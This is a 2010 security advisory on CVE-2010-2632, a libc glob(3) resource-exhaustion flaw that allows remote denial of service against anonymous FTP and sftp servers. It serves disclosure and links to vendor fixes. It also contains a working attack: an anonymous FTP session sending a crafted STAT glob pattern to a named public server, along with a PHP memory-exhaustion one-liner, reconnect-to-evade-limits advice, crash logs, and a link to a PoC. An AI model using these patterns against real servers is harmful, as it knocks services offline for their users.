Multiple Vendors libc/glob(3) remote ftpd resource exhaustion

2010-10-07 / 2012-03-12
Risk: High
Local: Yes
Remote: Yes
CWE: CWE-399


CVSS Base Score: 7.8/10
Impact Subscore: 6.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Complete

[ Multiple Vendors libc/glob(3) resource exhaustion (+0day remote ftpd-anon) ] Author: Maksymilian Arciemowicz http://netbsd.org/donations/ http://cxib.net/ Date: - - Dis.: 06.11.2009 - - Pub.: 07.10.2010 CVE: CVE-2010-2632 Affected Software (verified): - - OpenBSD 4.7 - - NetBSD 5.0.2 - - FreeBSD 7.3/8.1 - - Oracle Sun Solaris 10 - - GNU Libc (glibc) Affected Ftp Servers: - - ftp.openbsd.org (verified 02.07.2010: "connection refused" and ban) - - ftp.netbsd.org (verified 02.07.2010: "connection limit of 160 reached" and ban) - - ftp.freebsd.org - - ftp.adobe.com - - ftp.hp.com - - ftp.sun.com - - more more and more Affected Vendors (not verified): - - Apple - - Microsoft Interix - - HP - - more more more - --- 0.Description --- #include <glob.h> int glob(const char *pattern, int flags, int (*errfunc)(const char *epath, int eerrno), glob_t *pglob); Description This function expands a filename wildcard which is passed as pattern. GLOB_LIMIT Limit the amount of memory used by matches to ARG_MAX. This option should be set for programs that can be coerced to a denial of service attack via patterns that expand to a very large number of matches, such as a long string of */../*/.. - --- 1. Multiple Vendors libc/glob(3) resource exhaustion --- As we can read in definition GLOB_LIMIT: - -- Limit the amount of memory used by matches to ARG_MAX. This option should be set for programs that can be coerced to a denial of service attack via patterns that expand to a very large number of mat ches, such as a long string of */../*/.. - --- but now is comming question "what will happen when we use */.. without matching any results (simple searching)?" GLOB_LIMIT will be not overflowed. To realize it, we need only use pattern with many */.. and many inodes in current directory. On the end of pattern, we need add some not existed filename (like /cxib*). If we don't have many files or directories in attacked direcotry, we need create some dir-structure. Let's see again: http://cvsweb.netbsd.org/bsdweb.cgi/src/libexec/ftpd/ftpd.c?rev=1.61.2.5&content-type=text/x-cvsweb-markup GLOB_LIMIT protect us before attacks like */../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../* because glob will find more patches as in GLOB_LIMIT declared. Anyway, if we use path what do not exists (with */.. strings) like */../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*blablahaha GLOB_LIMIT will be never overflowed. Many combinations of paths, will execute this proces a long time. We can also try allocate (GLOB_LIMIT-1)*MAXPATHNAMELEN bytes per one process. ~200~300MB Example: > telnet ftp.netbsd.org 21 Trying 204.152.190.15... Connected to ftp.netbsd.org. Escape character is '^]'. 220 ftp.NetBSD.org FTP server (NetBSD-ftpd 20100320) ready. user anonymous 331 Guest login ok, type your name as password. pass anon@cxib 230- The NetBSD Project FTP Server located in Redwood City, CA, USA ... 230- EXPORT NOTICE ... 230 Guest login ok, access restrictions apply. stat {..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*cx this request will generate 100% usage of process a long time. ftpd come into glob(3) and will not fast out. Very similar sympthon was described in vulnerability for glibc strfmon(3) - - http://cxsecurity.com/issue/WLB-2009090044 -- ... Interesting is that the PHP memory_limit has no control over what will happens in the level of the libc. Function strfmon(3) can allocate a lot of data in memory without control by PHP memory_limit. For example: php -r 'money_format("%.1343741821i",1);' will allocate ~1049MB real memory. memory_limit can be less that 1049M ... - - http://cxsecurity.com/issue/WLB-2009090044 -- ftpd also dosen't control what will happen in libc. so it is enough to send - --- USER anonymous PASS STAT */..[calculated pattern] - --- and disconnect to connect again (bypass firewall limits). In php we can also bypass max_memory_limit by libc vulns. Attacking machine in this way, we can call the various side effects. - -kernel panic in netbsd502--- Jul 5 10:18:13 dhclient: DHCPACK from 192.168.92.254 Jul 5 10:18:14 dhclient: bound to 192.168.92.171 -- renewal in 886 seconds. Jul 5 10:22:43 syslogd: restart Jul 5 10:22:43 /netbsd: uvm_fault(0xcc2eb35c, 0, 2) -> 0xe Jul 5 10:22:43 /netbsd: fatal page fault in supervisor mode Jul 5 10:22:43 /netbsd: trap type 6 code 2 eip c07d9784 cs 8 eflags 10206 cr2 0 ilevel 0 Jul 5 10:22:43 /netbsd: panic: trap Jul 5 10:22:43 /netbsd: Begin traceback... Jul 5 10:22:43 /netbsd: End traceback... Jul 5 10:22:43 /netbsd: Jul 5 10:22:43 /netbsd: dumping to dev 0,1 offset 8 Jul 5 10:22:43 /netbsd: dump succeeded Jul 5 10:22:43 /netbsd: Jul 5 10:22:43 /netbsd: Jul 5 10:22:43 /netbsd: rebooting... Jul 5 10:22:43 /netbsd: Copyright (c) 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004, 2005, - -kernel panic in netbsd502--- - -crash in openbsd47--- # ls Segmentation fault (core dumped) or ftpd.core # gdb -q /usr/libexec/ftpd ftpd.core (no debugging symbols found) Core was generated by `ftpd'. Program terminated with signal 11, Segmentation fault. #0 0x0a77facb in ?? () (gdb) i r eax 0xffffffff -1 ecx 0x6 6 edx 0x0 0 ebx 0x18 24 esp 0xcfbc1e70 0xcfbc1e70 ebp 0xcfbc1ea8 0xcfbc1ea8 esi 0x0 0 edi 0x81f78100 -2114486016 eip 0xa77facb 0xa77facb eflags 0x10206 66054 cs 0x2b 43 ss 0x33 51 ds 0x33 51 es 0x33 51 fs 0x33 51 gs 0x33 51 (gdb) bt #0 0x0a77facb in ?? () Cannot access memory at address 0xcfbc1e70 - -crash in openbsd47--- Presented issue in localized libc, not in ftpd. Try use {..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*cx in ksh, openssh (sftp-server). sftp is also vulnerable. but they will kill children process after disconnect. "What is wrong?", libc has no control over the computing power glob(3), good fix for this issue, should control, how many times glob(3) will call to *readdirfunc(),stat(2) and reducing memory usage. - -glob.c--- ... static int glob3(Char *pathbuf, Char *pathend, Char *pathlim, Char *pattern, Char *restpattern, glob_t *pglob, size_t *limit) { struct dirent *dp; DIR *dirp; int error; char buf[MAXPATHLEN]; /* * The readdirfunc declaration can't be prototyped, because it is * assigned, below, to two functions which are prototyped in glob.h * and dirent.h as taking pointers to differently typed opaque * structures. */ struct dirent *(*readdirfunc)(void *); ... /* * Loop over pattern segments until end of pattern or until * segment with meta character found. */ for (anymeta = 0;;) { if (*pattern == EOS) { /* End of pattern? */ *pathend = EOS; if (g_lstat(pathbuf, &sb, pglob)) <========= LIMIT THIS CALL === return 0; if (((pglob->gl_flags & GLOB_MARK) && ... if ((dirp = g_opendir(pathbuf, pglob)) == NULL) { if (pglob->gl_errfunc) { ... /* Search directory for matching names. */ if (pglob->gl_flags & GLOB_ALTDIRFUNC) readdirfunc = pglob->gl_readdir; else readdirfunc = (struct dirent *(*)__P((void *))) readdir; while ((dp = (*readdirfunc)(dirp)) != NULL) { <============= LIMIT THIS CALL === ... - -glob.c--- As we can see, glob3() will call to (*readdirfunc)() and back to glob2(). glob2() will come again in glob3()... we need try control, how many times glob will call to (*readdirfunc)() and stat(). Fix created together with NetBSD devs, should fix this problem. - --- 2. 0day PoC --- To sucessfully attack, we need calculate pattern. I am not going show, how to optimal calulate pattern. With similar PoC we can try attack ftp.adobe.com, ftp.openbsd.org etc. 0day remote ftpd Denial-of-Service: http://cxib.net/stuff/glob-0day.c - --- 3. Fix --- Oracle 25.09.2010 CET: Being fixed in main codeline Very thanks for NetBSD project and help NetBSD project like they help you in fixing this issue http://netbsd.org/donations/ Fix libc/glob.c for netbsd-4,netbsd-5 branches: http://cvsweb.be.netbsd.org/cgi-bin/cvsweb.cgi/src/lib/libc/gen/glob.c#rev1.18.10.1 http://cvsweb.be.netbsd.org/cgi-bin/cvsweb.cgi/src/lib/libc/gen/glob.3#rev1.30.12.1 Fix for openssh (sftp): http://cvsweb.be.netbsd.org/cgi-bin/cvsweb.cgi/src/crypto/dist/ssh/Attic/sftp.c#rev1.21.6.1 http://cvsweb.be.netbsd.org/cgi-bin/cvsweb.cgi/src/crypto/dist/ssh/Attic/sftp-glob.c#rev1.13.12.1 http://netbsd.org/donations/ http://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2010-008.txt.asc - --- 4. Greets --- Special thanks for Christos Zoulas sp3x, Infospec, Adam Zabrocki 'pi3' - --- 5. Contact --- Author: Maksymilian Arciemowicz Email: - - cxib {a\./t] cxsecurity [d=t} com http://netbsd.org/donations/ http://cxib.net/

References:

http://cxib.net/stuff/glob-0day.c
http://netbsd.org/donations/
http://cxib.net/
http://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2010-008.txt.asc


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